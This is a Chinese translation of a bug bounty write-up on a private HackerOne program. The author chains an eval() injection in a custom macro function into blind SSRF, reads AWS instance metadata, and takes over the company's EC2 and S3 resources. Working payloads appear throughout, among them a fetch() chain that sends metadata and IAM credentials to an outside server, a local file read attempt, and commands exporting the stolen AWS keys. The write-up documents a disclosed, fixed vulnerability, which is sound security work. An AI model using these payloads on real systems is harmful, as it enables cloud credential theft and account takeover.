原文:http://10degres.net/aws-takeover-ssrf-javascript/

在本文中,我将为读者介绍自己在Hackerone网站的一个私人漏洞赏金计划中发掘漏洞的故事。准确来说,这个漏洞的挖掘、利用和报告过程,正好花费了我12小时30分的时间,当然,中间没有休息,完全是一气呵成。利用这个漏洞,我能够转储AWS登陆凭证,从而获取了相关公司帐户的完全控制权限:我手中有20个桶和80个EC2实例(Amazon Elastic Compute Cloud)。当然,在这个过程中,我也学到了很多,所以,专门撰写此文与诸君分享!

简介


如前所述,该漏洞是在一个私人项目中找到的,所以这里将相应公司暂且称之为:ArticMonkey。

为了自身业务以及其网络应用程序的需要,ArticMonkey公司开发了一种自定义的宏语言,我们称之为:Banan++。虽然我们不知道最初用于创建Banan++的语言到底是哪种,但是在考察其Web应用过程中,我们发现了一个JavaScript版本,所以,让我们不妨从它入手展开深入研究!

虽然原始的banan++.js文件已经进行了精简处理,但仍然有些臃肿,压缩后有2.1M,美化后有2.5M,包含56441行代码,共计2546981个字符。面对如此大的文件,我自然是不会直接阅读源码的……,相反,我是通过搜索Banan++特有的一些关键字,在第3348行中发现了第一个函数。后来,大约找到了大约135个函数,呵呵,这就是我们的狩猎对象。

寻找猎物的踪迹


之后,我开始从头开始阅读代码,当然,发现的大部分函数都是关于日期操作或数学操作的,没有发现什么真正让人感兴趣或危险的函数。经过一番折腾,我终于找到了一个看起来很有希望的函数,即Union(),其代码如下所示:

helper.prototype.Union = function() {
   for (var _len22 = arguments.length, args = Array(_len22), _key22 = 0; _key22 < _len22; _key22++) args[_key22] = arguments[_key22];
   var value = args.shift(),
    symbol = args.shift(),
    results = args.filter(function(arg) {
     try {
      return eval(value + symbol + arg)
     } catch (e) {
      return !1
     }
    });
   return !!results.length
  }

看到没有? 其中有一个eval()函数,看起来非常让人感兴趣!于是,我将代码复制到本地HTML文件中,以便进行进一步的测试。

本质上说,该函数可以处理0到无限多个参数,但是,这里不妨假设它有3个参数。eval()用于在第二个参数的帮助下比较第一个参数和第三个参数,然后测试第四个参数,第五个参数等...

该函数正常的用法应该类似于

Union(1,'<',3);

如果这些测试中至少有一个为true或false,那么这个函数就会返回true。

不过,该函数绝对没有对参数的类型和值进行相应的清洗或测试。借助于我最心爱的调试器,即alert(),我发现可以通过多种方式来触发漏洞:

Union( 'alert()//', '2', '3' );
Union( '1', '2;alert();', '3' );
Union( '1', '2', '3;alert()' );
...

寻找注入点


好吧,我们找到了一个易受攻击的函数,这的确是一个不错的开始,但我真正需要的,却是一个能够注入恶意代码的输入。由于在阅读代码过程中见过一些使用Banan++函数的POST参数,所以,我决定在Burp Suite的历史记录中快速搜索一下:

POST /REDACTED HTTP/1.1
Host: api.REDACTED.com
Connection: close
Content-Length: 232
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3502.0 Safari/537.36 autochrome/red
Content-Type: application/json;charset=UTF-8
Referer: https://app.REDACTED.com/REDACTED
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: auth=REDACTED

{...REDACTED...,"operation":"( Year( CurrentDate() ) > 2017 )"}

响应:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 54
Connection: close
X-Content-Type-Options: nosniff
X-Xss-Protection: 1
Strict-Transport-Security: max-age=15768000; includeSubDomains
...REDACTED...

[{"name":"REDACTED",...REDACTED...}]

参数operation貌似是一个不错的猎物,那就试一下吧!

进行注入


由于我对Banan++近乎一无所知,所以,我不得不进行一些相关的测试,以便弄清楚哪些类型的代码是可以注入的,哪些是不可以的。在某种程度上说,这有点像手动模糊测试。

{...REDACTED...,"operation":"'\"><"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}

{...REDACTED...,"operation":null}
[]

{...REDACTED...,"operation":"0"}
[]

{...REDACTED...,"operation":"1"}
[{"name":"REDACTED",...REDACTED...}]

{...REDACTED...,"operation":"a"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}

{...REDACTED...,"operation":"a=1"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}

{...REDACTED...,"operation":"alert"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}

{...REDACTED...,"operation":"alert()"}
{"status":400,"message":"Function 'alert' is not defined"}

{...REDACTED...,"operation":"Union()"}
[]

这里得到的结论是:

  • 无法注入JavaScript代码
  • 可以注入Banan++函数
  • 响应内容似乎就像一个true/false标志,具体取决于对参数operation的解释是true还是false(这一点非常有用,因为可以验证注入的代码)

接下来,让我们再来鼓捣Union()

{...REDACTED...,"operation":"Union(1,2,3)"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}

{...REDACTED...,"operation":"Union(a,b,c)"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}

{...REDACTED...,"operation":"Union('a','b','c')"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}

{...REDACTED...,"operation":"Union('a';'b';'c')"}
[{"name":"REDACTED",...REDACTED...}]

{...REDACTED...,"operation":"Union('1';'2';'3')"}
[{"name":"REDACTED",...REDACTED...}]

{...REDACTED...,"operation":"Union('1';'<';'3')"}
[{"name":"REDACTED",...REDACTED...}]

{...REDACTED...,"operation":"Union('1';'>';'3')"}
[]]

简直是完美!如果1<3,那么响应包含有效数据(true),但如果1>3,则响应为空(false)。注意,参数必须用分号进行分隔。接下来,我们就可以尝试进行真正的攻击了。

fetch函数就是用来生成XMLHttpRequest的


由于这里的请求就是对相关api的ajax调用,并且只会返回JSON数据,所以,显然无法进行客户端注入攻击。此外,我从之前的安全报告中了解到,ArticMonkey倾向于使用大量的JavaScript服务器端。

但这无关紧要,因为我必须尝试所有的东西,也许我可以触发一个漏洞,并揭示出关于JavaScript所在系统的信息。从我进行本地测试开始,我就知道如何注入恶意代码。我尝试了许多简单的XSS有效载荷和畸形的JavaScript,但我得到的只是前面提到的错误。

然后,我开始设法触发HTTP请求。

为此,首先使用ajax调用:

x = new XMLHttpRequest;
x.open( 'GET','https://poc.myserver.com' );
x.send();

但没有收到任何东西。接着,我又开始尝试HTML注入:

i = document.createElement( 'img' );
i.src = '<img src="https://poc.myserver.com/xxx.png">';
document.body.appendChild( i );

还是没有收到任何东西!继续尝试:

document.body.innerHTML += '<img src="https://poc.myserver.com/xxx.png">';

document.body.innerHTML += '<iframe src="https://poc.myserver.com">';

还是啥也没有收到!!!

大家都知道,有时候我们必须测试一些看起来非常愚蠢的想法,因为只有这样才能了解目标系统是有多么的愚蠢......显然,尝试渲染HTML代码是错误的,但是,嘿!我可是一个黑客......继续回到ajax请求,此后,我花了很长时间才弄明白如何让它发挥作用。

我早就知道ArticMonkey在前端使用了ReactJS,但是,直到后来才知道他们竟然使用了NodeJS服务器端。于是,我开始通过搜索引擎学习用它执行ajax请求的方法,并在官方文档中找到了答案,进而发现了[fetch()](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API "fetch()")函数,这是执行ajax调用的新标准,这才是关键所在。

于是,我设法注入了以下内容:

fetch('https://poc.myserver.com')

之后,Apache日志中马上就多了一行内容。

虽然我能够ping服务器,但这里的SSRF是一个盲攻击,所以,无法获得任何相关的响应。于是,我想去链接两个请求,并让第二个请求来发送第一个请求的结果。例如:

x1 = new XMLHttpRequest;
x1.open( 'GET','https://...', false );
x1.send();
r = x1.responseText;

x2 = new XMLHttpRequest;
x2.open( 'GET','https://poc.myserver.com/?r='+r, false );
x2.send();

StackOverflow的帮助下,我终于了解了fetch()的正确语法。

经过好一番折腾,我终于写出了可以正确运行的代码,具体如下所示:

fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

毫无疑问,这里也考虑到了同源策略。

利用SSRF获胜


我首先尝试读取本地文件:

fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

但我的Apache日志文件中,其响应(r参数)为空。

由于我找到了一些与ArticMonkey相关的S3存储桶(articmonkey-xxx),所以,我认为该公司也可能将AWS服务器用于他们的webapp(这一点也从x-cache: Hit from cloudfront的响应中得到了确认)。所以,我转而求助于云实例最常见的SSRF URL列表

当我试图访问实例的元数据时,获得了很好的效果。

最终有效载荷:

{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}

解码后的输出就是返回的目录列表:

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
...

因为我对AWS元数据一无所知,因为这是我第一次接触它们。所以,我开始设法了解自己disposition中的目录和所有文件。当然,这方面的信息随处可见,但是最有趣的一个地方是 http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>。返回的结果为:

{
  "Code":"Success",
  "Type":"AWS-HMAC",
  "AccessKeyId":"...REDACTED...",
  "SecretAccessKey":"...REDACTED...",
  "Token":"...REDACTED...",
  "Expiration":"2018-09-06T19:24:38Z",
  "LastUpdated":"2018-09-06T19:09:38Z"
}

利用身份验证信息


本来,游戏到这里就可以结束了。然而,为了展示这种漏洞的危害性,我需要一些更加劲爆的东西!于是,我尝试使用这些身份验证信息来获取目标公司的全部权限。不过,这些凭证都是临时,仅在短期内有效,有效时间约5mn。无论如何,5mn应该足以将自己的凭证换成目标公司的凭证,完成2次复制/粘贴操作,...

于是,我在Twitter上搜索SSRF和AWS master方面的信息。然而,最终还是在AWS官方提供的身份认证和访问管理方面的用户指南中找到了解决方案。实际上,我犯了一个错误,那就是没有先阅读相关文档(本来想偷个懒的……),那里早就指出了,仅仅使用AccessKeyIdSecretAccessKey是不够的,还必须导出令牌——哎,无语了……

$ export AWS_ACCESS_KEY_ID=AKIAI44...
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
$ export AWS_SESSION_TOKEN=AQoDYXdzEJr...

为了验证自己身份是否已经发生了变化,可以借助于下列命令。

aws sts get-caller-identity

然后…

左图:由ArticMonkey配置的EC2实例的列表。这些可能是其系统的很大一部分——或者全部。

右图:该公司拥有20个存储桶,包含来自客户的高度敏感数据、用于Web应用程序的静态文件,以及根据存储桶的名称来看,可能是其服务器的日志/备份。

影响:致命。

时间线


06/09/2018 12:00 - 开始挖洞。
07/09/2018 00h30 - 提交漏洞报告。
07/09/2018 19:30 - 漏洞得到修复,本人收到奖金。

感谢ArticMonkey如此迅速地修复了漏洞,并立即发放了奖金,同时,还要感谢他们同意本人发表这篇文章:)

结束语


在这次挖洞之旅中,我学到了很多东西:

  • ReactJS、fetch()、AWS元数据。
  • 千万别忘了,官方文档始终是一个非常重要的信息来源。
  • 每一步都遇到了新的问题,所以,我不得不到处搜索信息,尝试各种不同的方法——凡事必须竭尽全力,永不放弃。
  • 现在,我知道自己可以从头开始全面搞定一个系统,由此带来的自信和成就感确实很爽:)

当有人对你说,你永远也无法做成某事时,不要浪费时间与其争论,而应该证明给他们看:成败看淡,不服就干。

点击收藏 | 1 关注 | 1
登录 后跟帖